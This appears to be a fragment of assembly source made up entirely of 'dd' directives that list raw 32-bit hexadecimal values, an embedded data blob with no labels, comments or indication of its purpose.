dd 0CD047190h, 1A3BDE6Ch, 7BCB978Ah, 0EB056AF0h, 6798165Dh
dd 0E870110h, 194CD18Fh, 0C27C063Ch, 0C3580311h, 75A08C70h
dd 6CE7D102h, 985D08Ah, 75FCD908h, 567D729Ah, 6A70EB20h
dd 5310E62h, 0D62B75FEh, 800F3D03h, 990E414Bh, 0A84A920Bh
dd 0BECA29FEh, 0A07D8109h, 757FF0F8h, 75397F09h, 0D7166508h
dd 0FF12223Ch, 2A750632h, 0F8B81795h, 0C8BA447Fh, 27DC8666h
dd 1766ECB0h, 2D6BF9A4h, 7AD8F713h, 0C9507E2h, 0EB74598Eh
dd 5E586E60h, 29641D5Dh
dd 2C316995h, 442D3556h, 844484A0h, 0E9834990h, 7A88FD6h
dd 0E746666h, 21654383h, 2B4D100Fh, 0BE933357h, 5F6F4826h
dd 201AF273h, 5EF66602h, 0D118DE10h, 0B120C65h, 58039080h
dd 1301683h, 0EB4E081Ah, 0DC89E751h, 99FEF0Eh, 2C5E121Bh
dd 9B5182E4h, 86F617CEh, 9CA8DFA8h, 16A527EBh, 8B34E011h
dd 47E48D96h, 6604F10Eh, 0FBE4025h, 8124F0BFh, 344A26EEh
dd 892D18AAh, 1F15F330h, 0FE7D4D9Bh, 262C4438h, 0DB291B0Eh
dd 77490FE2h, 2F758B09h, 23C84480h, 4DD569B5h, 843B0BF5h
dd 6DE40E10h, 67E4477Bh, 2DAAF419h, 0A74C2E0h, 682DDB12h
dd 5D9FE35Dh, 0D939B93h, 0D810B510h, 7C839112h, 6CD61BD2h
dd 124DE949h, 714D442Dh, 0DEE81F72h, 1DD8DAF1h, 0EBFC8450h
dd 814A19A2h, 0A4E12CD0h, 0E8097F0Bh, 11E35DAEh, 18FED88Ch
dd 0F05C19B8h, 5E921Fh, 7F09E855h, 0DC99C8A3h, 4D9BFF75h
dd 186D0637h, 0E71EE8F6h, 5D705820h, 53946B16h, 855EB597h
dd 421814A1h, 8793D2FDh, 0F8ED8F59h, 29FB7C7Bh, 503610C4h
dd 0C3D01338h, 7E52FBE9h, 0A14BA3A2h, 821C307Fh, 7490C85Fh
dd 25745965h, 785E462Ch, 0FE324A5Bh, 0DDAA1505h, 0EB280EFDh
dd 0BC599D0Fh, 751E90CEh, 300D8DD4h, 49B02B57h, 0E7467B0Eh
dd 0C1F6BFD7h, 0B03EF30Ch, 1B95F366h, 0A915FA8Eh, 875BFE1Eh
dd 4FCA3A0Ch, 148861Eh, 0F46D3D40h, 2AFD0F24h, 800D1950h
dd 34656CF9h, 699D450Ah, 7720ED56h, 7B38F648h, 98FA7430h
dd 13017A14h, 0AA40118Ah, 1688A40Ch, 0C24EAAF6h, 92A2C5EBh
dd 0D4C0A972h, 5FA5D28Fh, 7416E628h, 5342BF1Bh, 443D30E8h
dd 27A59EF1h, 8890C60h, 0F57729B5h, 449D51F0h, 1B42522Ah
dd 0CDA6A09Fh, 0A43D8017h, 74C46DBCh, 1AD9EC27h, 421BA0A1h
dd 1D65CC4h, 0C19F0FDBh, 83148551h, 8DC72D38h, 1C70394h
dd 0E4E7E8C2h, 3806A0A3h, 2074998Bh, 1475918Ch, 6C6C5096h
dd 0A19D565Eh, 50014390h, 3E839241h, 726863BBh, 0D0038E41h
dd 0F972CA4Ch, 149B76B9h, 65F94C35h, 6278C638h, 147E3C40h
dd 8D570D48h, 88247874h, 5EC94408h, 7016365Dh, 0BA206824h
dd 950D388Ah, 0C81C7948h, 0D482CB98h, 359B92B0h, 14FD147Dh
dd 0C609261Fh, 0B2704501h, 8F274148h, 45E203Ch, 3205794Bh
dd 2D28DBF7h, 64FB9240h, 43117C2Dh, 5E99B08Dh, 0BEFE48F7h
dd 0E1B146Fh, 2F21DAFBh, 0DB46BB0Ah, 8D52D598h, 1297ED5h
dd 10C9B47Eh, 96575624h, 21A8A10Dh, 1CA7832Fh, 0E4435A2h
dd 49CE509Fh, 3E210847h, 0CD3B8FA0h, 30C1508Bh, 1D665CBDh
dd 2BDAADEBh, 223E0BA5h, 646ADE3Ch, 446400Ch, 0B91C303h
dd 2C5696Fh, 453BF778h, 75FD8102h, 45C607h, 0D2017D8Dh
dd 24DEF84Fh, 5706C910h, 809C8CE8h, 7407C691h, 12475C30h
dd 4AF80312h, 1116411Dh, 1BA02476h, 7885941h, 477B0E2Fh
dd 7DF685E1h, 60AF5D28h, 0DE19F715h, 3B0806EBh, 0C7F7CD9h
dd 495A5378h, 306AB98Bh, 0A9171289h, 7F9B12FDh, 7197E64Ch
dd 7D24BE83h, 220744B3h, 0A38BA5E3h, 9FAD824h, 0CBFA4900h
dd 0F3A80D24h, 5089E96Ah, 8BEB3053h, 0E85619F1h, 9A14F45h
dd 542A97A0h, 1E0F2739h, 5488C19Ch, 400B3DACh, 2D024804h
dd 1582A3FCh, 2340217Ch, 0CA9A1D7Dh, 7E070A58h, 0F98E0395h
dd 53FEB120h, 2FC3B92Fh, 0C64ADC41h, 14521C10h, 93082112h
dd 2AF7C910h, 52C6E4F4h, 0BD4ACE05h, 2267B2F7h, 0E69B2580h
dd 0C275740h, 0FCC53D87h, 0FE5248E8h, 0F1EFDF23h, 0C10968Ch
dd 450D3246h, 66882CECh, 0E9136975h, 0FED439FFh, 0E57DEF09h
dd 88161852h, 11EB8AE2h, 0FCED7813h, 41029A1h, 3283BDEAh
dd 5F1AD685h, 0E83BD92h, 321FAF43h, 34C5040h, 544816F7h
dd 515E24B7h, 3EB0765Fh, 20BF577Eh, 19930505h, 56C13E39h
dd 0DF458EE8h, 41365A3h, 7E5FB066h, 6FB2C3EDh, 1C8C87h
dd 0FF6A6975h, 0A665652h, 0D6030EE8h, 7D56EB63h, 8150803Eh
dd 73633804h, 81AFE06Dh, 5147852h, 73096812h, 23F05749h
dd 25551D40h, 0A2FF5224h, 5F561C5Ah, 0C02C85E5h, 2074D118h
dd 181F52EBh, 2C240665h, 0A48E81Bh, 0F920C959h, 52312DBEh
dd 800C0118h, 4098F42Fh, 0D6B8085Eh, 0D07CF085h, 413B180Dh
dd 54A0478h, 53B14AEFh, 0BB088ABEh, 0E0C34880h, 3F850F1Eh
dd 7E64259Dh, 563F9DA8h, 6875A158h, 96BE1651h, 0B008084Bh
dd 1BE8C9A7h, 0B4B4A111h, 85E1D01Bh, 0EC37BE47h, 3B19E881h
dd 555FF67Fh, 46ADA000h, 0E78EF970h, 0C8860B08h, 0DBE4703Ch
dd 0D1451476h, 4A5C45AFh, 0F07D8B61h, 3A70F37Bh, 0E35729FCh
dd 3F49189Fh, 8BCB98B4h, 2C5EBDD8h, 7A0FBEBFh, 7FD131A3h
dd 47BF47Ch, 8BBF77EAh, 0BB2CD652h, 10CF184Fh, 0E2B57EF4h
dd 403F859Ch, 47886C1h, 24124CA0h, 122A7EF8h, 37270976h
dd 3B3BD911h, 9F1A3B28h, 865D2B62h, 333E395Eh, 0F416E17Fh
dd 104A82DEh, 0C2F434E5h, 0FE245EEBh, 200D3958h, 2A35AA53h
dd 56596081h, 2C110202h, 0E9A554h, 0E914C304h, 1555BF69h
dd 54F648DDh, 6025E80Ch, 591C2905h, 0D015206Ch, 6994A88h
dd 56475BF0h, 0D5EB0FA7h, 0B1A1B2E9h, 3D13BD73h, 92C825B8h
dd 35B1217Ah, 79B63A18h, 0D4B21A9Eh, 73711977h, 36F4FEADh
dd 1B6224ABh, 0CF031B3h, 4F733AF8h, 437C3E8Fh, 7F7C0E33h
dd 1671B9F3h, 1983104Eh, 5AC2A403h, 65768F4h, 8793880h
dd 83BBD04Fh, 6BA4F0C0h, 506F859Fh, 53206F78h, 0E742EA01h
dd 0EB14C605h, 0ABD413A9h, 5E7493E6h, 4A66F447h, 8A788031h
dd 0CAD3508Dh, 428D7E41h, 0A178044Eh, 0C0984295h, 27E85260h
dd 38FEA83Dh, 6F622C0h, 0EA0FB002h, 0AC4AD707h, 14389D4Eh
dd 670F01A8h, 309D090Ah, 0B8B30ED2h, 9A03892Bh, 0D30DFADh
dd 0E4871828h, 0DEED640Ch, 2FF97339h, 2652E475h, 5574AF80h
dd 7EC0C0B5h, 9977F405h, 2D171ECDh, 0A183FE46h, 0F0444814h
dd 7F0C89A5h, 619758FAh, 0EB3E5A96h, 93AACF35h, 2FF3ECE5h
dd 93B2A55Bh, 93A01341h, 37A4D055h, 0B7F03418h, 0A5EBA6EBh
dd 7C3478C6h, 0BD0D4E64h, 54F3D31Ah, 9A7B370h, 71C00374h
dd 44853E9h, 360DD2B9h, 8297C220h, 5111E21Ch, 7A372202h
dd 92103F91h, 2C554BD2h, 39149CBh, 10E84657h, 4D5DE8F8h
dd 74D86A42h, 6F603612h, 0FF05E857h, 0F1462396h, 82726C2Eh
dd 8E894028h, 0C73E586h, 49101E4Ah, 2521139Ch, 570718E8h
dd 0AECBC9A0h, 3CFC5ED6h, 0F1838E1h, 0D7C91CC8h, 3BD40C11h
dd 5EDCCF92h, 0EB4E9294h, 450B1C13h, 20C7130Dh, 0B443E412h
dd 178FE025h, 27153DEAh, 42150F28h, 6ED5FC5Dh, 0A466B153h
dd 22F0AF1Eh, 64AF1526h, 41A9A56Dh, 3CE8093Ch, 0C93F5DD9h
dd 6422F52Dh, 0D4E61668h, 0F49527B8h, 3697BD5Ch, 1931BFB1h
dd 9244CFEBh, 0C2EE8F26h, 4689D878h, 0E42A67D8h, 0E0FC7FA3h
dd 817E41F1h, 8B0E283Fh, 0B0A25027h, 0EC217E3Ch, 2897B914h
dd 0C5395112h, 0A8113F9h, 0E80E74D4h, 0FB95A454h, 1F1973Bh
dd 9DD45DA8h, 831975F0h, 136D7867h, 0A8DD1EEh, 3C88351Eh
dd 3649E527h, 4B659550h, 412FAFF0h, 75994904h, 4CE9C3A4h
dd 7A8B6B14h, 6045842Ah, 7C16E839h, 3F29B210h, 17E0CCF6h
dd 92BF8B44h, 88C076F0h, 0F6973612h, 304E4CF8h, 57BF5A8Ah
dd 1E22121Ch, 5EBE6ABFh, 25141688h, 97120A2Bh, 0E9226CC1h
dd 131B45FBh, 0F311364h
dd 5D0A521Dh, 1073104Ch, 0E4A335C6h, 0B9D06284h, 0E016D212h
dd 2C4F146Ch, 0B3B04EBCh, 867E3F74h, 0BE850F04h, 78B2833h
dd 30B44523h, 561908BCh, 183497EBh, 7556B0C2h, 6EE82B3Ah
dd 588C9446h, 74E378C8h, 34A9417Eh, 84FA7F03h, 5C674A25h
dd 66EB4360h, 28B134D2h, 42364256h, 0FA485214h, 0CA0E5028h
dd 1DC53B1Bh, 401C5A04h, 50142A7Eh, 36B32347h, 47316447h
dd 1FEB94ACh, 87991A58h, 5932690h, 990153C4h, 0D45227A9h
dd 4C4B92BFh, 0D442DFE9h, 0F60C4B1h, 2933518Eh, 74AB51F9h
dd 884B381Bh, 20119204h, 70FF51AAh, 0ABBDEAC6h, 696285D2h
dd 45381D00h, 95760F0Ch, 157767A9h, 0F34F42BDh, 80013D1Bh
dd 0C6030451h, 5C7CD285h, 3236200Dh, 0C3F229Eh, 16CAB90Eh
dd 3DAE5EC1h, 35E43BF0h, 0C7F99D51h, 0B255FD4Ch, 1F4891C0h
dd 0CAE84B6Dh, 3A95B428h, 0E3D0D037h, 29655DDDh, 30ABEB5Eh
dd 0B9057592h, 18B40252h, 5D45A8E8h, 0C286A059h, 47DEAE0Ch
dd 0CD21E470h, 8C3EBCA1h, 0A9B116CDh, 7EBD041h, 1F412727h
dd 34409F33h, 33D024E9h, 4A885134h, 0A2A4B056h, 54D98543h
dd 6938F37Ah, 0B61AF778h, 1957497Dh, 635FFE2Bh, 35BFD796h
dd 58CCBCF4h, 9137E24h, 800938EBh, 93ADDE27h, 48E6AA1Fh
dd 0D39FD558h, 98AEE9E5h, 0E1B60F4Eh, 0EB129C2Ch, 3668AE11h
dd 35799F8Ch, 6BA5F69h, 4004EC57h, 4086AF61h, 4084A67Ah
dd 248C9EE8h, 4255FB81h, 45D5287Dh, 5302802Fh, 0FFCFF6E8h
dd 58200FE3h, 3A9024Bh, 42746B88h, 1FC4A0Eh, 0E5577CDAh
dd 1712D02h, 3C8FC10h, 0FDBF0B49h, 0E657A21Ah, 10562108h
dd 20E8A944h, 0E909FC4Ah, 1962BF2Ah, 2D50E4C4h, 7412EB65h
dd 8A0DA2D5h, 324A5006h, 0CC0AC084h, 9E18CC0h, 0D8ADFD9Eh
dd 360BDAEFh, 10F44775h, 0CF2E83C0h, 0C0688CFFh, 9B409F8Ch
dd 0CAC6FF36h, 94E68D57h, 0A250B1Eh, 6C3511Bh, 46461163h
dd 25169601h, 94FC32B1h, 12320EE5h, 0EE922C9Fh, 253E8017h
dd 8D92D05h, 22CB9023h, 0E944E809h, 12F189F2h, 0F96357EAh
dd 86FB0C25h, 4006E40Ah, 0C60CF4E0h, 0E01F345h, 5E8AC8D0h
dd 0D1915627h, 0CE910004h, 9D0BE3FFh, 0F403B722h, 0BB9FFFF4h
dd 43428CDEh, 0A0D0D0h, 0FB8365EBh, 743E7F4Eh, 2A0E5E65h
dd 46F1A9E1h, 0AA554E9h, 0A305DF4h, 6737754Ch, 30EBC8FEh
dd 36017E80h, 0CC52CF6h, 28C73402h, 7C232C4Fh, 0DD589FD0h
dd 268344BDh, 334BF08Bh, 22ABF246h, 74685A0Ch, 0A16C0A17h
dd 43317737h, 0EBF12886h, 6DF790Eh, 0BC063EBCh, 80E0414Dh
dd 0F7C5A27Dh, 143466D1h, 9BBCD313h, 0D08AAA72h, 83BC0D28h
dd 0E60C04C0h, 0D49191F5h, 0A07DEA4Ch, 901475E4h, 533C3788h
dd 0A143459Ah, 8878AC1Ch, 76ED0414h, 0CE84015Eh, 8333CA01h
dd 0FECC20CEh, 0C482C36Eh, 103A2874h, 0A14B363h, 6A0FD27Bh
dd 0D2917DACh, 4B44DEB5h, 701F0B6Eh, 0E76517Eh, 0EEECAE96h
dd 32E08448h, 828BF40Ah, 66C92A7Ah, 5EAC826Fh, 0A1E0C02h
dd 63330542h, 22FC2C12h, 4F80364h, 6A8E3115h, 7E670C0Fh
dd 0B8690A38h, 9BE3D4B6h, 45025711h, 0FD1B7ABCh, 318F864Ch
dd 6A0B21E9h, 5D457064h, 0FB326EB8h, 287E422Dh, 1E90EA8h
dd 85137A4Dh, 3CB58D2Bh, 3682E1F5h, 9D880E75h, 3D220B8Ch
dd 950438Ah, 17752B26h, 0E84255ABh, 0E857A721h, 0A891BFCEh
dd 66C6AAD8h, 732F03EBh, 9DE07083h, 0F426D972h, 7E979D5Dh
dd 945C8B8h, 4884533h, 54CCB108h, 2142DCA4h, 1715A86Ch
dd 88E4B0C1h, 5E52461Eh, 0BB121C70h, 0B7B41D38h, 29665775h
dd 0F7235C2Ah, 0D3212A0Dh, 2A420688h, 0F36E9E46h, 1E02F20Eh
dd 24E4C981h, 11E18E63h, 0D24665FBh, 2545480Ah, 1C1FE55Ah
dd 0C6147639h, 8F376506h, 2DD530CBh, 5757562h, 98468684h
dd 2CAC1E27h, 0A52128C9h, 2D480FACh, 1B55CD9Eh, 0CB9C10A7h
dd 918512E8h, 4C989008h, 725E99A0h, 34A28DA1h, 0F6A40466h
dd 3DC9905h, 15674DA0h, 26D5CC50h, 0B41214AEh, 0BE0F5082h
dd 5040C862h, 899D48D4h, 360BFFA6h, 2944F4F4h, 0EC525652h
dd 355248EEh, 9D5210C7h, 697EB632h, 0BFF4EAA6h, 0E94DC6B0h
dd 0F4952B0Bh, 0B8701800h, 0E6BD02A3h, 5EF7F3CDh, 96DEE451h
dd 0C34B11ACh, 26135186h, 3FD72474h, 32A73B26h, 85293FFAh
dd 8A61EB2Ch, 87A604C3h, 8F1D2620h, 6274B8E9h, 0FED58BE3h
dd 3F808E20h, 0A74ACE5Eh, 40C72711h, 9199E9AEh, 5532A867h
dd 5E31ED22h, 6304423h, 0EB01F15Ch, 0C40E1159h, 368B0568h
dd 7430FB19h, 32865445h, 0FF324E1Ah, 743B688Ch, 58102F67h
dd 0F3C72A54h, 0CB7FDCDBh, 6F0A1E58h, 2F16E95Eh, 3A283B6Ah
dd 5588384Ah, 5B30056Ah, 7201FDE9h, 59260945h, 6A85C18Ch
dd 23CFEB78h, 0A6A8C810h, 0FFE809C5h, 5FE1705Dh, 8BD81E9Ch
dd 1E46980Eh, 7B587D74h, 5DC6401Ah, 0B27409EAh, 0A7564762h
dd 8AFE6020h, 0B1CB5B55h, 5F74F8E3h, 36B04775h, 7F077AB5h
dd 57D0973Dh, 473620C0h, 7C73D13Ah, 0EBC13304h, 0AFB7C208h
dd 2177D082h, 80D23341h, 0F22BF006h, 0E4CA8B46h, 0D702BDC2h
dd 0EE7501B3h, 429C4072h, 0BE754E3Eh, 0B4EB9832h, 158AC844h
dd 1FC18BD0h, 0A49BEBE1h, 18899ECh, 0E85A104h, 0C9D68903h
dd 89E644FCh, 582D6C1Ah, 0E8D0175Eh, 0E5144FD4h, 940EC948h
dd 3A599743h, 1A6584A4h, 0F5AA3D12h, 7E3240C9h, 6A32C88Bh
dd 605ACB01h, 30E85D2Ch, 0C11CE2D3h, 16C003F9h, 339C0D4Ch
dd 0D18509CBh, 0CF106074h, 0CCC5275h, 944194EAh, 45886191h
dd 5F312CC8h, 0D2C6FF3h, 0DD03C600h, 0B2C92ECFh, 0EE2B25FFh
dd 0C2086E59h, 69BC2B20h, 0ADA82E2Bh, 42FF25E1h, 41146210h
dd 1A6503BCh, 77D49E02h, 72CF2DE4h, 85C0AD0h, 6BD14D12h
dd 390803A3h, 0A507BAA2h, 0CE94B928h, 0A2027F21h, 45E3B2E6h
dd 97860972h, 0CCECD4A0h, 0A208313h, 321260A6h, 0BAE65811h
dd 0CA01F32Eh, 0E40675C2h, 938098C6h, 31AD84Eh, 3A4CEF91h
dd 0E44D92D0h, 0F15DA101h, 24E3E993h, 753E8189h, 0A4952C4Fh
dd 208D89FAh, 0C758FC37h, 510DC8A0h, 22174525h, 14E6A355h
dd 552CD873h, 5905C7DCh, 0F446BFE8h, 0E71E8953h, 27DC207h
dd 53964EE5h, 43B0EC6Ch, 0A5DA3C7h, 15756FF0h, 7D3805B8h
dd 3503253h, 17566F04h, 0B488FF39h, 0D806C2DCh, 60D6BEE8h
dd 112C6021h, 0D0438D87h, 411A01F6h, 5E50C11h, 24AAF0ABh
dd 5C36E4B9h, 0D59DE97Eh, 0FF14CA89h, 20023921h, 84E940EDh
dd 3CBBDC57h, 95E0DF4Dh, 0AFBCE1D1h, 1AE3D93Ah, 8A84C4E9h
dd 0CB2230Fh, 700A3F74h, 0C5AD3AEAh, 74C6EB88h, 0A217642h
dd 0E7C16C00h, 0F3FEB03h, 0D1BF3C8Dh, 4E48FF1Dh, 0C643AEA8h
dd 533774B0h, 0E8856CDFh, 0BB290144h, 0DA20E414h, 571F7C8Dh
dd 5884DED0h, 875C2C01h, 50015B88h, 0F7280274h, 465F8CDFh
dd 0CC5C39F3h, 6113CECEh, 3329755Ah, 48D03256h, 456E5610h
dd 22D0ADD8h, 10EB32DCh, 6266F33Eh, 3038F9F7h, 0ACF66AEh
dd 58F29DFEh, 824DD0Ch, 0E1EACC42h, 0C47754E1h, 3BC98100h
dd 24FBA7C3h, 0A8F2550Bh, 18146293h, 2CC2B719h, 50CA0E28h
dd 3E1525C8h, 5DE6699Fh, 2A782262h, 457CF2FDh, 6E1FF7ACh
dd 0F052449Eh, 69506CEDh, 0AF64E56h, 0C9C7305Ch, 569C4AFh
dd 8B4AE746h, 0D84934FFh, 1DD07D26h, 0FE738B18h, 11A5EC0Bh
dd 0FECC9ACBh, 0AC3894AFh
dd 41F7B24Fh, 1CB76AB9h, 560B7657h, 90D4107Eh, 85990447h
dd 5BA6C515h, 34F72169h, 0EE379833h, 253090E6h, 0E3FE07EEh
dd 37E85F25h, 78E64AFFh, 0A4E097Dh, 829D6CBCh, 0FFE852C3h
dd 8343815Ch, 7435177Ch, 4828BF0Fh, 88284BF0h, 4FA15632h
dd 6B226A57h, 0C4A16306h, 2E1EFA12h, 98FB8612h, 7495E7D1h
dd 2283C7A4h, 59F25324h, 0A06CEB27h, 0F46FBC7h, 0ADA36F8Ch
dd 0D8A5BFEh, 14978FE1h, 340830FEh, 0A951D4BDh, 0E8073B9Ah
dd 985AC3F6h, 7E02FF80h, 60E84601h, 0C38B9FF3h, 69FC4B8Dh
dd 0E56DC024h, 0D82DA5ACh, 0F859A007h, 86D14803h, 0C2ACF03Ah
dd 8D1C022Eh, 0BFFE400Ch, 112E446h, 3CC96BC8h, 40184D03h
dd 0A8F00D06h, 0D04F96C9h, 0EC015F57h, 8D8740B6h, 80118C03h
dd 0E57C5581h, 20343DF8h, 508FB82Bh, 45D2F424h, 4571B0BAh
dd 7062DC48h, 9A192B5Ch, 68B493Ch, 7DF87891h, 65B8C14Fh
dd 0A35F4E94h, 30A892DAh, 881BFD4Ah, 897549BCh, 34105F8Bh
dd 1DDEAEE9h, 75EA0192h, 0D704FA02h, 0C5561759h, 7B52EF83h
dd 6BC98A1h, 0E82D1040h, 0D3C1668Ch, 6C312248h, 6706C85Fh
dd 4567F8Bh, 7582C2F6h, 0C5BF834h, 22F98357h, 0C1D5F314h
dd 0E5E457DAh, 0BBBD3C21h, 0BF42CFA0h, 44F8A00h, 82E1805Fh
dd 5CCFF9E6h, 0EECE0D06h, 7E817285h, 0FF3FF518h, 8A4E6832h
dd 0F0E977C1h, 80101CC5h, 486A0E8Bh, 526FC7D1h, 0C9FA8512h
dd 0AE872FE6h, 99BA0934h, 77DA05B6h, 18D7FB9Bh, 0BF353BFEh
dd 0C54F6AE6h, 1FE60331h, 0FE6BC57Fh, 6BF96117h, 7367BF92h
dd 508AC6F1h, 0FDB089EAh, 219EF304h, 329BF865h, 0DE9E9E7Dh
dd 0CBA3CFEEh, 7502300Dh, 0F42E0A62h, 54E402Ch, 162095ECh
dd 6AC6105Bh, 14F2F86h, 0C6010DD3h, 0A053044h, 70F4E2FFh
dd 0B82ED74Fh, 303484F6h, 9F55FDAFh, 85FC3A97h, 59056AC2h
dd 77ED0F5Dh, 89B260FCh, 1514E063h, 16713EE9h, 7EC6DF8h
dd 5090358Fh, 0B4561B3h, 0B04926F1h, 0F4C0833Fh, 0AB543BC7h
dd 8A043006h, 5EA8E8C8h, 77111A80h, 93D8755h, 0E10A3FB2h
dd 0E2600C0Bh, 0FB240802h, 5E3D0188h, 1061C6D7h, 0CABBC803h
dd 1CEF14E8h, 20D222CBh, 1A3C8A06h, 7EAE4568h, 0A00B0DA0h
dd 0C6FF47B6h, 1F91E928h, 0C5394928h, 45187334h, 9212C6EBh
dd 12C09490h, 0C65EEB02h, 470D3707h, 6673958Bh, 12D759CCh
dd 1193C4BFh, 0AA2D1D5h, 47152D33h, 41741468h, 0A8AD5195h
dd 8A133520h, 17204C5Ch, 0B008B8Fh, 31448847h, 4829EB05h
dd 753E483Bh, 0FF37855Ch, 0D42EDDC8h, 9CDC18EBh, 0E842DCAEh
dd 82336C4Fh, 89CC21Ah, 93A2C078h, 0D9820F3Ch, 54B7586Eh
dd 0F4A9745Eh, 11933106h, 0E18802E5h, 0EF8EA42Bh, 4B0EF627h
dd 9F7CA9FEh, 3B538430h, 93EF0548h, 3F73770Eh, 8B13C8D7h
dd 23AA5512h, 28943C57h, 1231810Fh, 0E9664056h, 6B329E18h
dd 504ACB08h, 0F3B24FEBh, 46FC184Bh, 15D3B093h, 0D9FEAC4Eh
dd 79B72FF9h, 0BD1D0988h, 0F1619722h, 4DB42A07h, 0FF8D55FDh
dd 9B5AC3EDh, 57902CD2h, 0E9BB9395h, 853E1077h, 9A1FBEAFh
dd 1075035Dh, 0E8301118h, 0AB769F41h, 90AFC365h, 578B5B6Fh
dd 0F70C66F4h, 0EE0108C2h, 447092Bh, 99112E9h, 1DD36A07h
dd 63D9FAD8h, 0F0684A87h, 2BB82949h, 0C128DEFCh, 0E358DDFAh
dd 95141050h, 0DA03D890h, 28748004h, 0D03BD1F0h, 0A422733Ch
dd 0B3286F3Ah, 0EB422DA0h, 0BE62F16Fh, 68EF12D3h, 0C150E907h
dd 0FC4F7D08h, 46BF5CF5h, 0F67FD04Eh, 0FB9A0C47h, 0F6F52D97h
dd 0C4D21130h, 8552132h, 0C12B8B92h, 3D728A8Bh, 0A0B8C64Ah
dd 0E3C906BCh, 9DA5776Ah, 0E8CB02FFh, 0C2B2FE7Fh, 1DABC00Fh
dd 72B02A5Ah, 73128B91h, 8B38FB0Ah, 8740C86Fh, 65200D47h
dd 0FC2F0A34h, 384D1132h, 70226B8h, 4C423966h, 4F2C3477h
dd 5D0564EEh, 0D447C272h, 67D23E9Ah, 3E421E68h, 0ED290664h
dd 0B8F8373Bh, 77C10362h, 0B75EB03Ah, 0E5A7A816h, 54F0AAE4h
dd 730092C0h, 0C03AFD75h, 68535BE6h, 0BE63A067h, 9E95520Fh
dd 0F794D809h, 89284E66h, 0EB20241Dh, 9842C222h, 1CA443B1h
dd 1A0D3590h, 44445922h, 90A42013h, 147D0B39h, 30FF107Eh
dd 9F3CD74Eh, 0F545A191h, 0BD1E44A1h, 621D2DC8h, 0F22CDC0Fh
dd 9D764912h, 6F5ADD49h, 2045D354h, 0DCA132C6h, 0B47ADE6Bh
dd 0B2F24E8h, 0D1B224DDh, 48FF2F8Bh, 9964153Eh, 64C0A582h
dd 0EDB6DF3Bh, 8BFDD46Bh, 1FFC1B04h, 0E803241Eh, 8CFF9455h
dd 0C432CBF9h, 0BDDCDC84h, 8AED1344h, 7D2E338Ch, 72E612ABh
dd 748BD0DEh, 0ED55F866h, 44A36249h, 68F5A258h, 481BF24Dh
dd 4B94C4A6h, 0E2708Bh, 74F73BD8h, 0D45F632h, 40667890h
dd 44F21C7Eh, 0D6A03BB2h, 0DBAC1E7Fh, 222A338Fh, 47D38FE6h
dd 658D1C02h, 0F2377EC8h, 0B4C82776h, 0A1843611h, 74DC6293h
dd 90B42135h, 0DB25B712h, 0CFDB336h, 56B474DFh, 68AFE4CBh
dd 909C748Ah, 13B0B4A0h, 6EB08C5h, 16528D66h, 0E3022068h
dd 38151487h, 9BA9D7C0h, 0B3217127h, 3E6CE9C6h, 0E4EC8535h
dd 0F3CCBF4Bh, 164CB188h, 2E70ACF0h, 57A72564h, 256A4E26h
dd 0F33BF4C6h, 9564214h, 50C0B8D2h, 30390A20h, 3AB07274h
dd 0B03D4286h, 7C271AA3h, 31C65FF1h, 0C0BE986Ah, 285524C6h
dd 9EF406Ah, 0CB80BF59h, 0E87DF520h, 51A88901h, 0AA4CABF3h
dd 0CC841046h, 0EF860F0Bh, 0EE6F9A44h, 81BBE814h, 8AEF4D8Dh
dd 28D2E911h, 0B696DD89h, 0E908EE1Bh, 87FCC23Bh, 8826A093h
dd 48BCB81h, 29EE2005h, 8D928453h, 0FAEC5234h, 41E694Ch
dd 0D09E89AAh, 3B50B252h, 7406CBB8h, 1518A2Ch, 0D025EE8Eh
dd 0B73867Eh, 77C73BFAh, 0FC7D00FFh, 0C5B8928Ah, 0C900843h
dd 76284047h, 0CE41F538h, 7517FCACh, 2C81E2D4h, 484E908h
dd 661EC172h, 0A37C15C0h, 50148D52h, 0E885ADA3h, 0B69921C6h
dd 0BF798CC4h, 0E2A52170h, 0BCA35259h, 55EB3178h, 78FF7983h
dd 54EA4A2Ch, 0A2469FA1h, 3D2D9348h, 0F1723321h, 90EF3856h
dd 0A555902Dh, 41FB9010h, 4CC3040Ch, 0EB02AB4Eh, 1D390D09h
dd 70E0ABE4h, 742E978Fh, 2398B2A9h, 0AF9403EBh, 8A25E27Bh
dd 0FE935622h, 0E7989B1Bh, 25FFC1C8h, 2B6B23A0h, 9C4415FDh
dd 0F608235h, 1A8537C6h, 2D254A22h, 740240A4h, 0E8833D22h
dd 57FAC74Eh, 480CA20Dh, 0B84787F6h, 120CB2F8h, 1108E21Bh
dd 52BF211h, 69E84009h, 0AA2B6D57h, 0BA18A9B5h, 0DD43C6D2h
dd 0E67FC445h, 5141057h, 7449AA4Bh, 47E81AFFh, 6B16910Bh
dd 884D187Ch, 0EC052E84h, 383A8D3h, 8AF472C6h, 85B2F245h
dd 84200E82h, 571303FAh, 610B558Dh, 0E87C63B6h, 5F77C13Bh
dd 0BC24E01Dh, 0B8412BA8h, 0FF032069h, 8509B912h, 0B9B913FFh
dd 8AC542AAh, 6A81FFCDh, 5B5FD075h, 88E8B26Ah, 9EA0DFAh
dd 2E7B098Eh, 132D34ABh, 2582F88Ah, 0BC187758h, 258AFDECh
dd 1F77561Eh, 0E84335AAh, 248144DAh, 0FBC985FCh, 442822A4h
dd 0C42C83B2h, 0D0B8C35Ch, 8B2D6673h, 740E0211h, 0AFB4C16h
dd 5948A10h, 90913E65h, 1CEB1880h, 46740236h, 30202110h
dd 80E3EBB9h, 211DA051h, 503D2182h, 49EBBF01h, 26A81693h
dd 1964417Eh, 0ABC45A0Ah, 0C9C84C63h, 0E5EF20C1h, 321F4A4Ch
dd 13723061h, 0E777A0Ah, 3CCE4FACh, 0E0EBA5E9h, 2F974D66h
dd 0F7255EBEh, 17A55CB4h, 0FD2D0375h, 0DD242CE8h, 0B408FD59h
dd 0B4FEE9CCh, 2E127C45h
dd 12895ED3h, 8D117506h, 2CB03E79h, 9819BD9Fh, 7DC26A63h
dd 4F34D056h, 8A4BA03Dh, 0E04A0125h, 0B186F6A9h, 7888075h
dd 41471374h, 2F1935CDh, 49161AB5h, 0CA8814AEh, 2E109908h
dd 0AE0CB75h, 0F6986780h, 0CCB04ECh, 0C28002FEh, 5E82E14Ah
dd 0D48D629Dh, 497DDC01h, 0CA88B5D1h, 5F5FA269h, 412B6E5Dh
dd 1D17B04h, 883C0D3Bh, 79830FC2h, 829874E4h, 432BF14Eh
dd 1D3224Fh, 94455706h, 107D09A5h, 62DE3E3h, 90B92F0h
